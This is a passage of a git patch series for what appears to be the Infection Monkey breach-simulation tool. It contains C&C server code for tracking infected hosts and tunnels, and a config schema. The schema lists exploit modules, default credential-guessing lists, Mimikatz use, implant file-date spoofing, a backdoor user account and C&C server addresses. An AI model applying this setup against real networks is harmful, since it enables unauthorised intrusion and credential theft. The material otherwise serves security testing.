ObjectId(hex(count)[2:].zfill(24)), + "from": monkey_id, + "to": ObjectId("000000000000000000000000") + } + ) + + return edges + + @staticmethod + def services_to_displayed_services(services): + # TODO: Consider returning extended information on services. + return [x + ": " + services[x]["name"] for x in services] diff --git a/monkey_island/cc/services/node.py b/monkey_island/cc/services/node.py index 67e7602dd..6046726fc 100644 --- a/monkey_island/cc/services/node.py +++ b/monkey_island/cc/services/node.py @@ -1,15 +1,20 @@ +import datetime from bson import ObjectId from cc.database import mongo from cc.services.edge import EdgeService - +from cc.utils import local_ip_addresses __author__ = "itay.mizeretz" class NodeService: + def __init__(self): + pass @staticmethod def get_displayed_node_by_id(node_id): + if ObjectId(node_id) == ObjectId("000000000000000000000000"): + return NodeService.get_monkey_island_node() edges = EdgeService.get_displayed_edges_by_to(node_id) accessible_from_nodes = [] @@ -17,31 +22,28 @@ class NodeService: new_node = {"id": node_id} - node = mongo.db.node.find_one({"_id": ObjectId(node_id)}) + node = NodeService.get_node_by_id(node_id) if node is None: - monkey = mongo.db.monkey.find_one({"_id": ObjectId(node_id)}) + monkey = NodeService.get_monkey_by_id(node_id) if monkey is None: return new_node # node is infected + new_node = NodeService.monkey_to_net_node(monkey) for key in monkey: # TODO: do something with tunnel - if key not in ["_id", "modifytime", "parent", "tunnel", "tunnel_guid"]: + if key not in ["_id", "modifytime", "parent", "tunnel", "dead"]: new_node[key] = monkey[key] - new_node["os"] = NodeService.get_monkey_os(monkey) - new_node["label"] = NodeService.get_monkey_label(monkey) - new_node["group"] = NodeService.get_monkey_group(monkey) - else: # node is uninfected + new_node = NodeService.node_to_net_node(node) new_node["ip_addresses"] = node["ip_addresses"] - new_node["group"] = "clean" for edge in edges: accessible_from_nodes.append({"id": edge["from"]}) for exploit in edge["exploits"]: - exploit["origin"] = edge["from"] + exploit["origin"] = NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"])) exploits.append(exploit) exploits.sort(cmp=NodeService._cmp_exploits_by_timestamp) @@ -50,19 +52,20 @@ class NodeService: new_node["accessible_from_nodes"] = accessible_from_nodes if len(edges) > 0: new_node["services"] = edges[-1]["services"] - new_node["os"] = edges[-1]["os"]["type"] - if "label" not in new_node: - new_node["label"] = edges[-1]["os"]["version"] + " : " + node["ip_addresses"][0] # TODO: add exploited by return new_node + @staticmethod + def get_node_label(node): + return node["os"]["version"] + " : " + node["ip_addresses"][0] + @staticmethod def _cmp_exploits_by_timestamp(exploit_1, exploit_2): - if exploit_1["timestamp"] == exploit_2["timestamp"]: + if exploit_1["start_timestamp"] == exploit_2["start_timestamp"]: return 0 - if exploit_1["timestamp"] > exploit_2["timestamp"]: + if exploit_1["start_timestamp"] > exploit_2["start_timestamp"]: return 1 return -1 @@ -90,6 +93,9 @@ class NodeService: @staticmethod def get_monkey_group(monkey): + if len(set(monkey["ip_addresses"]).intersection(local_ip_addresses())) != 0: + return "islandInfected" + return "manuallyInfected" if NodeService.get_monkey_manual_run(monkey) else "infected" @staticmethod @@ -105,26 +111,100 @@ class NodeService: @staticmethod def node_to_net_node(node): - os_version = "undefined" - os_type = "undefined" - found = False - # TODO: Set this as data when received - for edge in mongo.db.edge.find({"to": node["_id"]}): - for scan in edge["scans"]: - if scan["scanner"] != "TcpScanner": - continue - os_type = scan["data"]["os"]["type"] - if "version" in scan["data"]["os"]: - os_version = scan["data"]["os"]["version"] - found = True - break - if found: - break - return \ { "id": node["_id"], - "label": os_version + " : " + node["ip_addresses"][0], + "label": NodeService.get_node_label(node), "group": "clean", - "os": os_type - } \ No newline at end of file + "os": node["os"]["type"] + } + + @staticmethod + def unset_all_monkey_tunnels(monkey_id): + mongo.db.edge.update( + {"from": monkey_id, 'tunnel': True}, + {'$set': {'tunnel': False}}, + upsert=False) + + @staticmethod + def set_monkey_tunnel(monkey_id, tunnel_host_id): + tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id) + mongo.db.edge.update({"_id": tunnel_edge["_id"]}, + {'$set': {'tunnel': True}}, + upsert=False) + + @staticmethod + def insert_node(ip_address): + new_node_insert_result = mongo.db.node.insert_one( + { + "ip_addresses": [ip_address], + "os": + { + "type": "unknown", + "version": "unknown" + } + }) + return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) + + @staticmethod + def get_or_create_node(ip_address): + new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) + if new_node is None: + new_node = NodeService.insert_node(ip_address) + return new_node + + @staticmethod + def get_monkey_by_id(monkey_id): + return mongo.db.monkey.find_one({"_id": ObjectId(monkey_id)}) + + @staticmethod + def get_monkey_by_guid(monkey_guid): + return mongo.db.monkey.find_one({"guid": monkey_guid}) + + @staticmethod + def get_monkey_by_ip(ip_address): + return mongo.db.monkey.find_one({"ip_addresses": ip_address}) + + @staticmethod + def get_node_by_ip(ip_address): + return mongo.db.node.find_one({"ip_addresses": ip_address}) + + @staticmethod + def get_node_by_id(node_id): + return mongo.db.node.find_one({"_id": ObjectId(node_id)}) + + @staticmethod + def update_monkey_modify_time(monkey_id): + mongo.db.monkey.update({"_id": monkey_id}, + {"$set": {"modifytime": datetime.now()}}, + upsert=False) + + @staticmethod + def set_monkey_dead(monkey, is_dead): + mongo.db.monkey.update({"guid": monkey['guid']}, + {'$set': {'dead': is_dead}}, + upsert=False) + + @staticmethod + def get_monkey_island_monkey(): + ip_addresses = local_ip_addresses() + for ip_address in ip_addresses: + monkey = NodeService.get_monkey_by_ip(ip_address) + if monkey is not None: + return monkey + return None + + @staticmethod + def get_monkey_island_pseudo_net_node(): + return\ + { + "id": ObjectId("000000000000000000000000"), + "label": "MonkeyIsland", + "group": "islandClean", + } + + @staticmethod + def get_monkey_island_node(): + island_node = NodeService.get_monkey_island_pseudo_net_node() + island_node["ip_addresses"] = local_ip_addresses() + return island_node From 78e989e5fc365c41e20a3627c43dffbbaa1834b0 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 12 Sep 2017 13:47:28 +0300 Subject: [PATCH 21/32] git ignore node_modules --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 3a3119afd..403d090ad 100644 --- a/.gitignore +++ b/.gitignore @@ -67,3 +67,4 @@ bin /monkey_island/cc/server.key /monkey_island/cc/server.crt /monkey_island/cc/server.csr +monkey_island/cc/ui/node_modules/ From 9fef5f2da2bcb59081d139ba6839d752a6340ba6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 12 Sep 2017 13:48:36 +0300 Subject: [PATCH 22/32] modification on tunnel handling --- monkey_island/cc/resources/monkey.py | 23 +++++++++++++++++++---- monkey_island/cc/resources/telemetry.py | 3 ++- monkey_island/cc/services/edge.py | 3 ++- monkey_island/cc/services/node.py | 12 +++++++++++- 4 files changed, 34 insertions(+), 7 deletions(-) diff --git a/monkey_island/cc/resources/monkey.py b/monkey_island/cc/resources/monkey.py index 90eddd015..e59a82b43 100644 --- a/monkey_island/cc/resources/monkey.py +++ b/monkey_island/cc/resources/monkey.py @@ -6,9 +6,12 @@ from flask import request import flask_restful from cc.database import mongo +from cc.services.node import NodeService __author__ = 'Barak' +# TODO: separate logic from interface + def update_dead_monkeys(): # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes @@ -45,19 +48,22 @@ class Monkey(flask_restful.Resource): def patch(self, guid): monkey_json = json.loads(request.data) update = {"$set": {'modifytime': datetime.now()}} - + monkey = NodeService.get_monkey_by_guid(guid) if 'keepalive' in monkey_json: update['$set']['keepalive'] = dateutil.parser.parse(monkey_json['keepalive']) else: update['$set']['keepalive'] = datetime.now() if 'config' in monkey_json: update['$set']['config'] = monkey_json['config'] - if 'tunnel' in monkey_json: - update['$set']['tunnel'] = monkey_json['tunnel'] if 'config_error' in monkey_json: update['$set']['config_error'] = monkey_json['config_error'] - return mongo.db.monkey.update({"guid": guid}, update, upsert=False) + if 'tunnel' in monkey_json: + host = monkey_json['tunnel'].split(":")[-2].replace("//", "") + tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"] + NodeService.set_monkey_tunnel(monkey["_id"], tunnel_host_id) + + return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False) def post(self, **kw): monkey_json = json.loads(request.data) @@ -105,6 +111,12 @@ class Monkey(flask_restful.Resource): else: monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add] + tunnel_host_id = None + if 'tunnel' in monkey_json: + host = monkey_json['tunnel'].split(":")[-2].replace("//", "") + tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"] + monkey_json.pop('tunnel') + mongo.db.monkey.update({"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True) @@ -113,6 +125,9 @@ class Monkey(flask_restful.Resource): new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"] + if tunnel_host_id is not None: + NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_id) + existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}}) if existing_node: diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index bfc38c582..7f0510793 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -61,11 +61,12 @@ class Telemetry(flask_restful.Resource): def process_tunnel_telemetry(self, telemetry_json): monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] - NodeService.unset_all_monkey_tunnels(monkey_id) if telemetry_json['data']: host = telemetry_json['data'].split(":")[-2].replace("//", "") tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"] NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id) + else: + NodeService.unset_all_monkey_tunnels(monkey_id) def process_state_telemetry(self, telemetry_json): monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) diff --git a/monkey_island/cc/services/edge.py b/monkey_island/cc/services/edge.py index e1811bef9..c4921bc8d 100644 --- a/monkey_island/cc/services/edge.py +++ b/monkey_island/cc/services/edge.py @@ -115,7 +115,8 @@ class EdgeService: def get_monkey_island_pseudo_edges(): edges = [] monkey_ids = [x["_id"] for x in mongo.db.monkey.find({}) if "tunnel" not in x] - # TODO: find solution for these ids. + # We're using fake ids because the frontend graph module requires unique ids. + # Collision with real id is improbable. count = 0 for monkey_id in monkey_ids: count += 1 diff --git a/monkey_island/cc/services/node.py b/monkey_island/cc/services/node.py index 6046726fc..db5a88abe 100644 --- a/monkey_island/cc/services/node.py +++ b/monkey_island/cc/services/node.py @@ -1,4 +1,4 @@ -import datetime +from datetime import datetime from bson import ObjectId from cc.database import mongo @@ -121,6 +121,11 @@ class NodeService: @staticmethod def unset_all_monkey_tunnels(monkey_id): + mongo.db.monkey.update( + {"_id": monkey_id}, + {'$unset': {'tunnel': ''}}, + upsert=False) + mongo.db.edge.update( {"from": monkey_id, 'tunnel': True}, {'$set': {'tunnel': False}}, @@ -128,6 +133,11 @@ class NodeService: @staticmethod def set_monkey_tunnel(monkey_id, tunnel_host_id): + NodeService.unset_all_monkey_tunnels(monkey_id) + mongo.db.monkey.update( + {"_id": monkey_id}, + {'$set': {'tunnel': tunnel_host_id}}, + upsert=False) tunnel_edge = EdgeService.get_or_create_edge(monkey_id, tunnel_host_id) mongo.db.edge.update({"_id": tunnel_edge["_id"]}, {'$set': {'tunnel': True}}, From 6dbe2791b31bd87f8992fd4c90de51f791c79a9e Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 12 Sep 2017 19:23:25 +0300 Subject: [PATCH 23/32] Add namespaced config schema --- .../cc/resources/monkey_configuration.py | 755 +++++++++++++++++- 1 file changed, 747 insertions(+), 8 deletions(-) diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index 2135bc640..0f8ccb02f 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -9,16 +9,755 @@ __author__ = 'Barak' SCHEMA = { - 'type': 'object', - 'title': 'Monkey', - 'properties': { - 'alive': { - 'title': 'Alive', - 'type': 'boolean' + "title": "Monkey", + "type": "object", + "definitions": { + "exploiter_classes": { + "title": "Exploit class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SmbExploiter" + ], + "title": "SmbExploiter" + }, + { + "type": "string", + "enum": [ + "WmiExploiter" + ], + "title": "WmiExploiter" + }, + { + "type": "string", + "enum": [ + "RdpExploiter" + ], + "title": "RdpExploiter" + }, + { + "type": "string", + "enum": [ + "Ms08_067_Exploiter" + ], + "title": "Ms08_067_Exploiter" + }, + { + "type": "string", + "enum": [ + "SSHExploiter" + ], + "title": "SSHExploiter" + }, + { + "type": "string", + "enum": [ + "ShellShockExploiter" + ], + "title": "ShellShockExploiter" + }, + { + "type": "string", + "enum": [ + "SambaCryExploiter" + ], + "title": "SambaCryExploiter" + } + ] + }, + "finger_classes": { + "title": "Fingerprint class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SMBFinger" + ], + "title": "SMBFinger" + }, + { + "type": "string", + "enum": [ + "SSHFinger" + ], + "title": "SSHFinger" + }, + { + "type": "string", + "enum": [ + "PingScanner" + ], + "title": "PingScanner" + }, + { + "type": "string", + "enum": [ + "HTTPFinger" + ], + "title": "HTTPFinger" + } + ] } }, - 'options': { - 'collapsed': True + "properties": { + "monkey": { + "title": "Monkey", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "alive": { + "title": "Alive", + "type": "boolean", + "default": True, + "description": "Is the monkey alive" + }, + "depth": { + "title": "Depth", + "type": "integer", + "default": 2, + "description": "Amount of hops allowed from this monkey to spread" + } + } + }, + "behaviour": { + "title": "Behaviour", + "type": "object", + "properties": { + "self_delete_in_cleanup": { + "title": "Self delete on cleanup", + "type": "boolean", + "default": False, + "description": "Should the monkey delete its executable when going down" + }, + "use_file_logging": { + "title": "Use file logging", + "type": "boolean", + "default": True, + "description": "Should the monkey dump to a log file" + }, + "serialize_config": { + "title": "Serialize config", + "type": "boolean", + "default": False, + "description": "Should the monkey dump its config on startup" + } + } + }, + "life_cycle": { + "title": "Life cycle", + "type": "object", + "properties": { + "max_iterations": { + "title": "Max iterations", + "type": "integer", + "default": 1, + "description": "Determines how many iterations of the monkey's full lifecycle should occur" + }, + "victims_max_find": { + "title": "Max victims to find", + "type": "integer", + "default": 14, + "description": "Determines after how many discovered machines should the monkey stop scanning" + }, + "victims_max_exploit": { + "title": "Max victims to exploit", + "type": "integer", + "default": 7, + "description": "Determines after how many infected machines should the monkey stop infecting" + }, + "timeout_between_iterations": { + "title": "Wait time between iterations", + "type": "integer", + "default": 100, + "description": "Determines for how long (in seconds) should the monkey wait between iterations" + }, + "retry_failed_explotation": { + "title": "Retry failed exploitation", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey should retry exploiting machines it didn't successfuly exploit on previous iterations" + } + } + } + } + }, + "internal": { + "title": "Internal", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "singleton_mutex_name": { + "title": "Singleton mutex name", + "type": "string", + "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "description": "The name of the mutex used to determine whether the monkey is already running" + } + } + }, + "classes": { + "title": "Classes", + "type": "object", + "properties": { + "scanner_class": { + "title": "Scanner class", + "type": "string", + "default": "TcpScanner", + "enum": [ + "TcpScanner" + ], + "enumNames": [ + "TcpScanner" + ], + "description": "Determines class to scan for machines. (Shouldn't be changed)" + }, + "finger_classes": { + "title": "Fingerprint classes", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/finger_classes" + }, + "default": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger" + ], + "description": "Determines which classes to use for fingerprinting" + }, + "exploiter_classes": { + "title": "Exploiter classes", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/exploiter_classes" + }, + "default": [ + "SmbExploiter", + "WmiExploiter", + "RdpExploiter", + "Ms08_067_Exploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter" + ], + "description": "Determines which classes to use for exploiting" + } + } + }, + "kill_file": { + "title": "Kill file", + "type": "object", + "properties": { + "kill_file_path_windows": { + "title": "Kill file path on Windows", + "type": "string", + "default": "C:\\Windows\\monkey.not", + "description": "Path of file which kills monkey if it exists (on Windows)" + }, + "kill_file_path_linux": { + "title": "Kill file path on Linux", + "type": "string", + "default": "/var/run/monkey.not", + "description": "Path of file which kills monkey if it exists (on Linux)" + } + } + }, + "dropper": { + "title": "Dropper", + "type": "object", + "properties": { + "dropper_set_date": { + "title": "Dropper sets date", + "type": "boolean", + "default": True, + "description": "Determines whether the dropper should set the monkey's file date to be the same as another file" + }, + "dropper_date_reference_path": { + "title": "Droper date reference path", + "type": "string", + "default": "\\windows\\system32\\kernel32.dll", + "description": "Determines which file the dropper should copy the date from if it's configured to do so (use fullpath)" + }, + "dropper_target_path_linux": { + "title": "Dropper target path on Linux", + "type": "string", + "default": "/tmp/monkey", + "description": "Determines where should the dropper place the monkey on a Linux machine" + }, + "dropper_target_path": { + "title": "Dropper target path on Windows", + "type": "string", + "default": "C:\\Windows\\monkey.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine" + }, + "dropper_try_move_first": { + "title": "Try to move first", + "type": "boolean", + "default": True, + "description": "Determines whether the dropper should try to move itself instead of copying itself to target path" + } + } + }, + "logging": { + "title": "Logging", + "type": "object", + "properties": { + "dropper_log_path_linux": { + "title": "Dropper log file path on Linux", + "type": "string", + "default": "/tmp/user-1562", + "description": "The fullpath of the dropper log file on Linux" + }, + "dropper_log_path_windows": { + "title": "Dropper log file path on Windows", + "type": "string", + "default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1562.tmp", + "description": "The fullpath of the dropper log file on Windows" + }, + "monkey_log_path_linux": { + "title": "Monkey log file path on Linux", + "type": "string", + "default": "/tmp/user-1563", + "description": "The fullpath of the monkey log file on Linux" + }, + "monkey_log_path_windows": { + "title": "Monkey log file path on Windows", + "type": "string", + "default":"C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp", + "description": "The fullpath of the monkey log file on Windows" + } + } + } + } + }, + "cnc": { + "title": "C&C", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + } + }, + "servers": { + "title": "Servers", + "type": "object", + "properties": { + "command_servers": { + "title": "Command servers", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "10.15.1.7:5000" + ], + "description": "List of command servers to try and communicate with (format is :)" + }, + "internet_services": { + "title": "Internet services", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "monkey.guardicore.com", + "www.google.com" + ], + "description": "List of internet services to try and communicate with to determine internet connectivity (use either ip or domain)" + }, + "current_server": { + "title": "Current server", + "type": "string", + "default": "10.15.1.7:5000", + "description": "The current command server the monkey is communicating with" + } + } + } + } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "skip_exploit_if_file_exist": { + "title": "Skip exploit if file exists", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine" + }, + "credentials": { + "title": "Credentials", + "type": "object", + "properties": { + "exploit_user_list": { + "title": "Exploit user list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Administrator", + "root", + "user" + ], + "description": "List of usernames to use on exploits using credentials" + }, + "exploit_password_list": { + "title": "Exploit password list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "description": "List of password to use on exploits using credentials" + } + } + } + } + }, + "ms08_067": { + "title": "MS08_067", + "type": "object", + "properties": { + "ms08_067_exploit_attempts": { + "title": "MS08_067 exploit attempts", + "type": "integer", + "default": 5, + "description": "Number of attempts to exploit using MS08_067" + }, + "ms08_067_remote_user_add": { + "title": "MS08_067 remote user", + "type": "string", + "default": "Monkey_IUSER_SUPPORT", + "description": "Username to add on successful exploit" + }, + "ms08_067_remote_user_pass": { + "title": "MS08_067 remote user password", + "type": "string", + "default": "Password1!", + "description": "Password to use for created user" + } + } + }, + "rdp_grinder": { + "title": "RDP grinder", + "type": "object", + "properties": { + "rdp_use_vbs_download": { + "title": "Use VBS download", + "type": "boolean", + "default": True, + "description": "Determines whether to use VBS or BITS to download monkey to remote machine (true=VBS, false=BITS)" + } + } + }, + "sambacry": { + "title": "SambaCry", + "type": "object", + "properties": { + "sambacry_trigger_timeout": { + "title": "SambaCry trigger timeout", + "type": "integer", + "default": 5, + "description": "Timeout (in seconds) of SambaCry trigger" + }, + "sambacry_folder_paths_to_guess": { + "title": "SambaCry folder paths to guess", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + '/', + '/mnt', + '/tmp', + '/storage', + '/export', + '/share', + '/shares', + '/home' + ], + "description": "List of full paths to share folder for SambaCry to guess" + }, + "sambacry_shares_not_to_check": { + "title": "SambaCry shares not to check", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "IPC$", "print$" + ], + "description": "These shares won't be checked when exploiting with SambaCry" + }, + "sambacry_commandline_filename": { + "title": "SambaCry commandline filename", + "type": "string", + "default": "monkey_commandline.txt", + }, + "sambacry_runner_result_filename": { + "title": "SambaCry runner result filename", + "type": "string", + "default": "monkey_runner_result", + }, + "sambacry_runner_filename_32": { + "title": "SambaCry runner filename (32 bit)", + "type": "string", + "default": "sc_monkey_runner32.so", + }, + "sambacry_runner_filename_64": { + "title": "SambaCry runner filename (64 bit)", + "type": "string", + "default": "sc_monkey_runner64.so", + }, + "sambacry_monkey_filename_32": { + "title": "SambaCry monkey filename (32 bit)", + "type": "string", + "default": "monkey32", + }, + "sambacry_monkey_filename_64": { + "title": "SambaCry monkey filename (64 bit)", + "type": "string", + "default": "monkey64", + }, + "sambacry_monkey_copy_filename_32": { + "title": "SambaCry monkey copy filename (32 bit)", + "type": "string", + "default": "monkey32_2", + }, + "sambacry_monkey_copy_filename_64": { + "title": "SambaCry monkey copy filename (64 bit)", + "type": "string", + "default": "monkey64_2", + } + } + }, + "smb_service": { + "title": "SMB service", + "type": "object", + "properties": { + "smb_download_timeout": { + "title": "SMB download timeout", + "type": "integer", + "default": 300, + "description": "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" + }, + "smb_service_name": { + "title": "SMB service name", + "type": "string", + "default": "InfectionMonkey", + "description": "Name of the SMB service that will be set up to download monkey" + } + } + } + } + }, + "system_info": { + "title": "System info", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "collect_system_info": { + "title": "Collect system info", + "type": "boolean", + "default": True, + "description": "Determines whether to collect system info" + } + } + }, + "mimikatz": { + "title": "Mimikatz", + "type": "object", + "properties": { + "mimikatz_dll_name": { + "title": "Mimikatz DLL name", + "type": "string", + "default": "mk.dll", + "description": "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)" + } + } + } + } + }, + "network": { + "title": "Network", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "blocked_ips": { + "title": "Blocked IPs", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": "List of IPs to not scan" + }, + "local_network_scan": { + "title": "Local network scan", + "type": "boolean", + "default": False, + "description": "Determines whether monkey should also scan its own IPs" + }, + "network_range": { + "title": "Network range", + "type": "object", + "properties": { + "range_class": { + "title": "Range class", + "type": "string", + "default": "FixedRange", + "enum": [ + "FixedRange", + "RelativeRange", + "ClassCRange" + ], + "enumNames": [ + "FixedRange", + "RelativeRange", + "ClassCRange" + ], + "description": "Determines which class to use to determine scan range" + }, + "range_size": { + "title": "Relative range size", + "type": "integer", + "default": 1, + "description": "Determines the size of the RelativeRange - amount of IPs to include" + }, + "range_fixed": { + "title": "Fixed range IP list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "172.16.0.67" + ], + "description": "List of IPs to include when using FixedRange" + } + } + } + } + }, + "scanners": { + "title": "Scanners", + "type": "object", + "properties": { + "tcp_scanner": { + "title": "TCP scanner", + "type": "object", + "properties": { + "HTTP_PORTS": { + "title": "HTTP ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 80, + 8080, + 443, + 8008 + ], + "description": "List of ports the monkey will check if are being used for HTTP" + }, + "tcp_target_ports": { + "title": "TCP target ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008 + ], + "description": "List of TCP ports the monkey will check whether they're open" + }, + "tcp_scan_interval": { + "title": "TCP scan interval", + "type": "integer", + "default": 200, + "description": "Time to sleep (in milliseconds) between scans" + }, + "tcp_scan_timeout": { + "title": "TCP scan timeout", + "type": "integer", + "default": 3000, + "description": "Maximum time (in milliseconds) to wait for TCP response" + }, + "tcp_scan_get_banner": { + "title": "TCP scan - get banner", + "type": "boolean", + "default": True, + "description": "Determines whether the TCP scan should try to get the banner" + } + } + }, + "ping_scanner": { + "title": "Ping scanner", + "type": "object", + "properties": { + "ping_scan_timeout": { + "title": "Ping scan timeout", + "type": "integer", + "default": 1000, + "description": "Maximum time (in milliseconds) to wait for ping response" + } + } + } + } + } + } + } + }, + "options": { + "collapsed": True } } From eb9d768e48e1ef5c8d58d20bed4afc63256b1098 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Sep 2017 09:59:06 +0300 Subject: [PATCH 24/32] Change default server ip to original one --- monkey_island/cc/resources/monkey_configuration.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index 0f8ccb02f..1af35e647 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -362,7 +362,7 @@ SCHEMA = { "type": "string" }, "default": [ - "10.15.1.7:5000" + "41.50.73.31:5000" ], "description": "List of command servers to try and communicate with (format is :)" }, @@ -382,7 +382,7 @@ SCHEMA = { "current_server": { "title": "Current server", "type": "string", - "default": "10.15.1.7:5000", + "default": "41.50.73.31:5000", "description": "The current command server the monkey is communicating with" } } From 4b948438aab17e8f27ef8e663ce14db4bfdf712a Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Sep 2017 11:29:47 +0300 Subject: [PATCH 25/32] Move config logic to config service return flat config for monkey --- monkey_island/cc/island_config.py | 6 +- monkey_island/cc/main.py | 7 +- monkey_island/cc/resources/monkey.py | 3 +- .../cc/resources/monkey_configuration.py | 768 +---------------- monkey_island/cc/services/config.py | 786 ++++++++++++++++++ 5 files changed, 799 insertions(+), 771 deletions(-) create mode 100644 monkey_island/cc/services/config.py diff --git a/monkey_island/cc/island_config.py b/monkey_island/cc/island_config.py index c53d27004..0ff527415 100644 --- a/monkey_island/cc/island_config.py +++ b/monkey_island/cc/island_config.py @@ -1,4 +1,8 @@ __author__ = 'itay.mizeretz' ISLAND_PORT = 5000 -DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland" \ No newline at end of file +DEFAULT_MONGO_URL = "mongodb://localhost:27017/monkeyisland" + +# TODO: remove this, and get from global config` +INITIAL_USERNAMES = ['Administrator', 'root', 'user'] +INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"] \ No newline at end of file diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index b1b240f8b..472752c4a 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -9,12 +9,7 @@ if BASE_PATH not in sys.path: from cc.app import init_app from cc.utils import init_collections, local_ip_addresses -from cc.island_config import DEFAULT_MONGO_URL, ISLAND_PORT - -# TODO: remove this, and get from global config` -INITIAL_USERNAMES = ['Administrator', 'root', 'user'] -INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"] - +from cc.island_config import DEFAULT_MONGO_URL, ISLAND_PORT, INITIAL_USERNAMES, INITIAL_PASSWORDS if __name__ == '__main__': from tornado.wsgi import WSGIContainer diff --git a/monkey_island/cc/resources/monkey.py b/monkey_island/cc/resources/monkey.py index e59a82b43..e1b3b618e 100644 --- a/monkey_island/cc/resources/monkey.py +++ b/monkey_island/cc/resources/monkey.py @@ -6,6 +6,7 @@ from flask import request import flask_restful from cc.database import mongo +from cc.services.config import ConfigService from cc.services.node import NodeService __author__ = 'Barak' @@ -77,7 +78,7 @@ class Monkey(flask_restful.Resource): # if new monkey telem, change config according to "new monkeys" config. db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) if not db_monkey: - new_config = mongo.db.config.find_one({'name': 'newconfig'}) or {} + new_config = ConfigService.get_flat_config() monkey_json['config'] = monkey_json.get('config', {}) monkey_json['config'].update(new_config) else: diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index 1af35e647..2ae5bf4d4 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -4,776 +4,18 @@ from flask import request, jsonify import flask_restful from cc.database import mongo +from cc.services.config import ConfigService __author__ = 'Barak' -SCHEMA = { - "title": "Monkey", - "type": "object", - "definitions": { - "exploiter_classes": { - "title": "Exploit class", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "SmbExploiter" - ], - "title": "SmbExploiter" - }, - { - "type": "string", - "enum": [ - "WmiExploiter" - ], - "title": "WmiExploiter" - }, - { - "type": "string", - "enum": [ - "RdpExploiter" - ], - "title": "RdpExploiter" - }, - { - "type": "string", - "enum": [ - 